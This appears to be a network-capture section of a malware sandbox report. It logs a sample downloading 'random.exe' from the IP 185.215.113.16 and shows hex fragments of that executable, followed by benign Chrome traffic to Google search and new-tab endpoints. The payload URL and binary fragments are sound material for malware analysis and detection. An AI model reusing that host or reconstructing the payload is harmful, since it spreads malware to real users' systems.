Dec 9, 2024 15:30:56.699965954 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 15:30:58.033019066 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:57 GMT Content-Type: application/octet-stream Content-Length: 970240 Last-Modified: Mon, 09 Dec 2024 13:43:25 GMT Connection: keep-alive ETag: "6756f3fd-ece00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f5 f3 56 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1e 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELVg"w@0@@@d\|@cu4@.text `.rdata@@.datalpH@.rsrcc@d@@.relocuvX@B
Dec 9, 2024 15:30:58.033056021 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Dec 9, 2024 15:30:58.033404112 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Dec 9, 2024 15:30:58.033754110 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Dec 9, 2024 15:30:58.033766031 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Dec 9, 2024 15:30:58.034374952 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Dec 9, 2024 15:30:58.034971952 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Dec 9, 2024 15:30:58.034981966 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Dec 9, 2024 15:30:58.035624981 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Dec 9, 2024 15:30:58.035645962 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Dec 9, 2024 15:30:58.153209925 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	172.217.21.36	443	6548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:29:07 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 14:29:08 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:07 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-O-xeydZn9HXqqyx4h-MVMw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-09 14:29:08 UTC	124	IN	Data Raw: 64 32 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 61 6e 63 68 65 73 74 65 72 20 75 6e 69 74 65 64 20 64 61 6e 20 61 73 68 77 6f 72 74 68 22 2c 22 64 6f 72 6f 74 68 79 20 72 75 62 79 20 73 6c 69 70 70 65 72 73 20 61 75 63 74 69 6f 6e 22 2c 22 69 6e 66 69 6e 69 74 79 20 6e 69 6b 6b 69 20 73 74 65 61 6d 20 64 65 63 6b 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 Data Ascii: d2c)]}'["",["manchester united dan ashworth","dorothy ruby slippers auction","infinity nikki steam deck","weather forecas
2024-12-09 14:29:08 UTC	1390	IN	Data Raw: 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 70 61 6c 61 6e 74 69 72 20 73 74 6f 63 6b 73 22 2c 22 62 61 6c 74 69 6d 6f 72 65 20 6f 72 69 6f 6c 65 73 22 2c 22 61 70 70 6c 65 20 69 6f 73 20 31 38 2e 32 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 73 6e 6f 77 62 61 6c 6c 20 64 65 72 62 79 20 72 65 73 75 6c 74 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 Data Ascii: t snow storm","palantir stocks","baltimore orioles","apple ios 18.2 release date","snowball derby results"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google
2024-12-09 14:29:08 UTC	1390	IN	Data Raw: 7a 55 57 31 54 51 55 4d 33 56 45 5a 79 5a 57 6c 50 65 48 56 46 54 6e 6c 35 5a 69 74 49 4e 30 59 7a 51 57 46 49 4e 55 35 4a 5a 32 52 34 61 58 41 31 4d 7a 68 4c 59 6c 64 76 51 6e 4e 6c 65 6a 45 77 55 47 56 7a 55 6d 4a 48 5a 30 67 7a 51 6b 31 4f 54 6c 5a 36 52 47 39 58 59 32 4a 73 61 46 52 30 4e 57 5a 70 61 6d 55 77 57 45 63 30 4d 6b 4e 6d 4d 47 55 30 61 57 39 57 4e 58 56 55 54 54 45 35 52 6a 52 69 63 58 45 76 51 32 39 78 55 6b 77 7a 59 6b 68 43 53 31 6c 75 4d 6b 5a 5a 54 30 6c 78 52 44 5a 6f 57 6a 55 34 59 6d 45 76 65 6c 42 6c 52 6c 4e 31 56 32 4d 79 64 47 46 31 61 48 4e 30 63 57 74 73 5a 47 52 6b 53 32 74 51 5a 48 59 30 59 54 4e 6c 4c 7a 59 34 4d 54 46 4e 51 30 5a 72 51 57 68 78 53 54 4e 68 61 6e 4e 35 4d 6e 4e 4c 57 54 64 32 63 30 73 30 63 58 5a 52 51 32 Data Ascii: zUW1TQUM3VEZyZWlPeHVFTnl5ZitIN0YzQWFINU5JZ2R4aXA1MzhLYldvQnNlejEwUGVzUmJHZ0gzQk1OTlZ6RG9XY2JsaFR0NWZpamUwWEc0MkNmMGU0aW9WNXVUTTE5RjRicXEvQ29xUkwzYkhCS1luMkZZT0lxRDZoWjU4YmEvelBlRlN1V2MydGF1aHN0cWtsZGRkS2tQZHY0YTNlLzY4MTFNQ0ZrQWhxSTNhanN5MnNLWTd2c0s0cXZRQ2
2024-12-09 14:29:08 UTC	475	IN	Data Raw: 6a 42 42 51 55 46 42 51 56 4e 56 56 6b 39 53 53 7a 56 44 57 55 6c 4a 50 54 6f 52 51 6d 46 73 64 47 6c 74 62 33 4a 6c 49 45 39 79 61 57 39 73 5a 58 4e 4b 42 79 4e 68 4d 7a 4d 7a 4d 44 46 53 4f 32 64 7a 58 33 4e 7a 63 44 31 6c 53 6e 70 71 4e 48 52 45 55 44 46 55 59 33 64 55 52 45 5a 4d 54 6a 4a 45 4d 45 56 72 65 45 74 36 51 32 35 4b 65 6b 30 77 64 6c 4e 73 57 45 6c 4d 4f 48 4a 4e 65 6a 42 72 64 45 4a 6e 51 30 4a 59 5a 32 31 76 63 41 63 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c Data Ascii: jBBQUFBQVNVVk9SSzVDWUlJPToRQmFsdGltb3JlIE9yaW9sZXNKByNhMzMzMDFSO2dzX3NzcD1lSnpqNHREUDFUY3dUREZMTjJEMEVreEt6Q25Kek0wdlNsWElMOHJNejBrdEJnQ0JYZ21vcAc\u003d","zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,
2024-12-09 14:29:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	172.217.21.36	443	6548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:29:07 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 14:29:08 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 09 Dec 2024 14:29:08 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-09 14:29:08 UTC	372	IN	Data Raw: 31 62 31 31 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1b11)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-09 14:29:08 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-09 14:29:08 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-09 14:29:08 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-09 14:29:08 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-09 14:29:08 UTC	1005	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700255,3700949,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-09 14:29:08 UTC	315	IN	Data Raw: 31 33 34 0d 0a 28 61 29 3a 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 44 64 3b 44 64 5c 75 30 30 33 64 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 5f 2e 6e 64 7b 7d 3b 5f 2e 45 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 20 69 6e 20 61 2e 69 29 72 65 74 75 72 6e 20 61 2e 69 5b 62 5d 3b 74 68 72 6f 77 20 6e 65 77 20 44 64 3b 7d 3b 5f 2e 46 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 45 64 28 5f 2e 6b 64 2e 69 28 29 2c 61 29 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 2f 2a 5c Data Ascii: 134(a):a\u003d\u003ea;\n}catch(e){_._DumpException(e)}\ntry{\nvar Dd;Dd\u003dclass extends _.nd{};_.Ed\u003dfunction(a,b){if(b in a.i)return a.i[b];throw new Dd;};_.Fd\u003dfunction(a){return _.Ed(_.kd.i(),a)};\n}catch(e){_._DumpException(e)}\ntry{\n/*\
